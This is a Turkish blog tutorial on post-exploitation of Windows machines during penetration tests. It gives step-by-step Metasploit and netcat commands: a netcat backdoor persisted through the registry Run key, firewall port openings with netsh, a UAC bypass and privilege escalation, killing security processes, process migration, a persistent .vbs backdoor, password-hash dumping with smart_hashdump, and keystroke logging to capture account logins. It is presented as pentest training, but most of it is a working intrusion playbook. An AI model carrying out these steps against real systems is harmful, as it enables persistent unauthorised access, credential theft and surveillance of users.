Ekim 19, 2021
11 11 11 ÖÖ
TCP nedir ? Aktarım Katmanı 2
Aktarım Katmanı Tcp Nedir
Yönlendirme Nedir 2 ?
Yönlendirme Nedir ?
Ağ Katmanı Nedir 2 ?
Ağ Katmanı Nedir ?
Veri Bağı Katmanı Nedir 2 ?
Android Studio Nasıl Kurulur ?
Veri Bağı Katmanı Nedir ?
Fiziksel Katman Nedir ?
Son Yazılar
TCP nedir ? Aktarım Katmanı 2 Aktarım Katmanı Tcp Nedir Yönlendirme Nedir 2 ? Yönlendirme Nedir ? Ağ Katmanı Nedir 2 ? Ağ Katmanı Nedir ? Veri Bağı Katmanı Nedir 2 ? Android Studio Nasıl Kurulur ? Veri Bağı Katmanı Nedir ? Fiziksel Katman Nedir ?
sızma sonrası

Sızma Sonrası Neler Yapılır ?

Paylaşım , Takip İçin

Şuana kadar keşif ile hedefimiz hakkında bilgi topladık , zafiyet taraması ile zafiyetlerini tespit ettik. Zafiyetleri kullanarak sisteme sızdık. Genel olarak penetrasyon testleri buraya kadardır. Fakat bazı kurumlar daha ne kadar ileri gidebileceğimizi merak ederler veya isterler. Sızma sonrası istenebilecek durumlara gelecek olursak bunlar ;

Veriler ve dosyaların ele geçirilmesi , hedef makinede kalıcılığın sağlanması ve izlenmesi .

Netcat ile Windowsa Sızma 

Netcat ile sızmamız için dosyamızı upload edeceğimiz için yani hedef makineye göndereceğimiz için daha öncesinde sisteme sızmış olmamız gerekiyor. Meterpreter oturumumuzu almış olmamız gerekiyor. Bunun dışında msfvenom ile de backdoor oluşturabiliriz. msfvenom ile backdoor oluşturmak için — Metasploit

İlk adım ile başlayalım . İlk önce yapmamız gereken Netcat for Windows dosyamızı indirmek olacak. Dosyamızı indirdikten sonra zip dosyasını çıkartıyoruz. Sonrasında bizim için lazım olan nc.exe’yi root klasörüne veya istediğiniz klasöre atıp adresini verebilirsiniz.

Execute komutu Windows’umuzda nc.exe uygulamamızı çalıştırmamızı sağlamaktadır.

-f parametresi çalıştıracağımız dosyanın ne olduğunu yazıyoruz.

-L parametresi nc.exe uygulamamızın dinleme modunda çalışmasını sağlar. Ayrıca “” içerisinde -L parametresi bağlantı koptuktan sonra bile nc.exe uygulamamızın çalışmasını sağlar ve tekrar tekrar bağlanabilmemize olanak verir.

-p parametresi girilen porttan bağlantı bekleyecektir. 

-e parametresi bağlantımız sağlandığı zaman “bash” çalışmasını ve komut satırına geçmemizi sağlar.

Kalıcılığın Sağlanması

Daha sonra bu netcat bağlantımızın olası bir kopma halinde tekrar başa dönmememiz için hedef makinemiz kapanıp açıldığı zaman otomatik olarak bağlantımızın çalışması gerekiyor. Windows registry veritabanına nc.exe uygulamamızı nasıl kayıt edeceğimize bakalım.

reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run komutu ile hangi uygulamaların işletim sistemi başladığında çalıştığını görmemizi sağlar. Biz bu komutları daha önce kullandığımız için mevcut olarak işletim sistemi her başladığında çalıştığını görmekteyiz.

reg setval komutu ile başlangıçta başlaması için ekliyoruz . Daha sonra reg queryval komutu ile tekrar kontrol ediyoruz. 

Doğrudan Registry ayarlarından yapabileceğinizi gibi netsh komutu ile de firewall ayarlarını yapabilirsiniz. Kullanımı göstermek açısından, firewall ayarlarını komut satırından ayarlayalım. Bunun için Meterpreter komut satırından Windows komut satırına geçiyoruz. Sonrasında netsh firewall show opmode diyerek güncel ayarları görüyoruz.

netsh firewall add portopening TCP 445 "Service Firewall" ENABLE ALL komutu ile 443 numaralı Portu izin verilen Portlar arasına ekleyelim.

netsh firewall show portopening komutu ile de sonrasında yaptığımız işlemin onaylanıp onaylanmadığına bakalım. 

Hedef sistem tekrar başladığında nc.exe otomatik olarak çalışacak ve dışarıdan bağlantılara imkan sağlayacaktır. Aşağıdaki örnekte nc komutuyla hedef sisteme bağlanılabildiği görülmektedir.

Meterpreter Shell

1-Yetki yükseltme

İlk yapacağımız iş getuid komutu ile kullanıcı yetkimizi görmek olacaktır.

Eğer kullanıcı seviyesindeyseniz bu veya bunun gibi bir isim göreceksiniz. Şimdi bizim bu yetkimizi System yetkimize nasıl geçirebileceğimizi gösterelim. getsystem komutunu girerek yetkimizi system kullanıcı seviyesine çekmiş olacağız.

[-] priv_elevate_getsystem: Operation failed: Access is denied. The following was attempted:

[-] Named Pipe Impersonation (In Memory/Admin)

[-] Named Pipe Impersonation (Dropper/Admin)

[-] Token Duplication (In Memory/Admin)

[-] Named Pipe Impersonation (RPCSS variant)

Eğer getsystem komutu yukardaki gibi veya daha farklı bir hata verecek olursa neler yapacağımıza bakalım.

İlk önce background komutu veya ctrl + z klavye hareketlerini kullanarak meterpreteri arka plana atmamız gerekiyor. Arka plana attıktan sonra search bypassuac yazıyoruz.

Daha sonrasında use  exploit/windows/local/bypassuac_fodhelper diyerek gerekli ayarları yapıyoruz. Payload ayarlarımızı ilk meterpreter oturumumuzu açarken girdiğimiz için bu değerler olacaktır. Yoksa eğer set LHOST x.x.x.x set LPORT xxxx/xxx set SESSION 1 şeklinde ayarlayabilirsiniz. En son olarak ise run veya exploit diyerek çalıştırıyoruz.

Gördüğünüz gibi bu şekilde bypassuac exploiti ile giriş yaptığımız zaman getsystem komutunda hata almıyoruz.  Ve sonrasında getuid dediğimiz zaman system kullanıcı seviyesinde olduğumuzu görüyoruz.

system

2-Çalışan işlemleri görme ve durdurma

Hangi servislerin çalıştığını görmemiz için yazacağımız komut ps olacaktır.

Görüldüğü üzere bütün çalışan işlemler listelenmiş durumdadır. Bu adımda yapmamız gereken güvenlik programlarından çalışanları bulup onları durdurmak olacaktır. Fakat şuan çalışan bir güvenlik programı olmadığı için OneDrive.exe programımızı kapatacağız. PID numarasını 4284 olarak görebiliyoruz. Bunu durdurmak için ise kill komutu yeterli olacaktır.  

onedrive
onedrive

3-Meterpreter Shell’i taşıma

Mevcut Meterpreter Shellimizin hangi proses üzerinde olduğuna bakmak için getpid komutunu kullanalım. Gördüğünüz gibi 4504 numaralı işlem üzerindedir. Şimdi bizim için önemli olan kısım Meterpreter Shellimizi kullanıcımızdan daha düşük seviye bir kullanıcıya geçirmemek olacaktır. Eğer düşük seviye bir kullanıcıya geçirirsek sisteme erişmiş fakat hiçbir şey yapamayan yetkisiz bir kullanıcı oluruz ve emeklerimiz boşa gider.

Alttaki resimde görüldüğü gibi migrate 6112 komutu ile Meterpreter Shell’imizi system kullanıcısına taşımış olmaktayız. Sonrasında getpid diyerek taşınıp taşınmadığına bakabiliriz.

4-Yeni bir Meterpreter Shell açma

duplicate

Mevcut Meterpreter Shell haricinde yeni bir tane daha kullanmak isterseniz eğer veya yedeklemek isterseniz run post/windows/manage/multi_meterpreter_inject komutu ile yeni Meterpreter Shell açmış oluyoruz. Fakat biz şuan yeni açılanda değiliz. İlk önce background diyoruz. Sonrasında show sessions diyerek Meterpreter Shell’leri görebiliyoruz. session -i 2 diyerek yeni açtığımız Meterpreter Shell’e geçebiliriz.

Zaman zaman otomatik bağlanmadığı durumlar olabilmektedir . Bu gibi durumla karşılaşırsak eğer background kısmına geçmişken yukarda bizim için oluşturulan LHOST ve LPORT değerlerini güncelleyip tekrar exploit ederek açabiliriz.

5-Arka kapı açma

Sızma için arka kapımızı netcat ile açmış olsakta işimizi garantiye almak için ve daha özellikli olan persistence özelliğini kullanacağız. Persistence özelliğimizde işletim sistemi yeniden başladığında çalışabilmektedir. Uygulama dönüşümleri ve özellikleri ile de birden fazla biçim, özellik mevcuttur. Bizim yapacağımız persistence için temel olan .vbs uzantılı backdoor oluşturmak olucak.

run exploit/windows/local/persistence ‘ değerlerinizi girin lhost – lport ‘  diyerek çalıştırmış ve oluşturmuş oluyoruz. Kalıcı arka kapımızın çalışıp çalışmadığını öğrenmenin bir çok yolu var yukarda da gösterdiğim gibi. Fakat hedef makinemizi yeniden başlatarak hiç göstermedik. 

reboot komutunu kullanarak yeniden başlatıyoruz. Yeniden başlarken Meterpreter Shell’imiz kapanacağı için tekrar run diyerek bağlantı bekleme konumuna almamız gerekecektir. Sonrasında bilgisayarımız açıldı ve otomatik olarak bağlantı yapılmış durumdadır.

Gördüğünüz gibi 4336 pid değerindeki arka kapımız oluşmuş ve çalışıyor olarak gözükmektedir.

6-Kullanıcı Ad ve Şifrelerinin Hash’lerini alma

Kullanıcı adları ve şifrelerini alarak daha sonrasında bunları john the ripper veya hashcat ile kırabiliriz. Bu kullanıcı ve şifreleri bizim farklı sistemlere girmemizi sağlayabilir. Bunun için kullanacağımız komut ise aşşağıdadır.

run post/windows/gather/smart_hashdump

7-Windows komut satırına geçme

Eğer Meterpreter Shell harici windows komut satırına geçip komut çalıştırmaya bir ihtiyacımız olursa “shell” komutunu kullanarak windows komut satırına geçebiliriz. Bu komut aynı zamanda yeni bir kanal açmış olur bizim için.

Komut satırı ile işimizi bittikten sonra exit komutu ile kapatabiliriz. Eğer işimiz bitmemiş ve arka planda çalışmasını istiyorsak ctrl+z tuşlarını kullanarak arka plana atmış oluruz. 

8-Klavye ile yazılanları kaydetme

Windows’ta klavye ile yazılanları kaydetmek ve böylelikle kullanıcı ile ilgili bilgileri veya bir mail adresine bir hesabına gireceği zaman girdiği klavye hareketlerini kaydedebiliriz. Fakat bizim bu kaydı gerçekleştirebilmemiz için system kullanıcı seviyesinden user kullanıcı oturumuna geçmemiz gerekecek. Bunun içinde kullanıcının kullandığı bir explorer.exe veya bir benzeri işleme taşıyabiliriz. Bu şekilde bir kullanıcı seviyesine düşeceğimiz için klavye yazılarını kaydettikten sonra getsystem komutunu kullanmamız gerekecek. Bunun yerine daha mantıklı olanı ise yeni açtığımız Meterpreter Shell’ine geçerek hali hazırda system kullanıcımıza dokunmadan 2. Meterpreter Shell’imiz ile kayıt etmeye devam etmemizdir.

run post/windows/capture/keylog_recorder komutu ile yazılanları kaydetmiş oluyoruz.

Görüldüğü üzere bir txt belgesine kayıt edilen yukardaki girişleri kayıt etmiş durumdayız. Aynı şekilde bir hesabına giriş yapılmış olsaydı onları da kayıt etmiş olacaktık. Buradaki <^H> silme komutudur bu ve bunun gibi bir kaç komutu bilirseniz veriyi daha kolay anlayabilirsiniz.


Paylaşım , Takip İçin
0 0 votes
Article Rating

Bir Cevap Yazın

0 Yorum
Inline Feedbacks
View all comments
0
Would love your thoughts, please comment.x
()
x
HAYALİNDEKİ YAZILIM
%d blogcu bunu beğendi: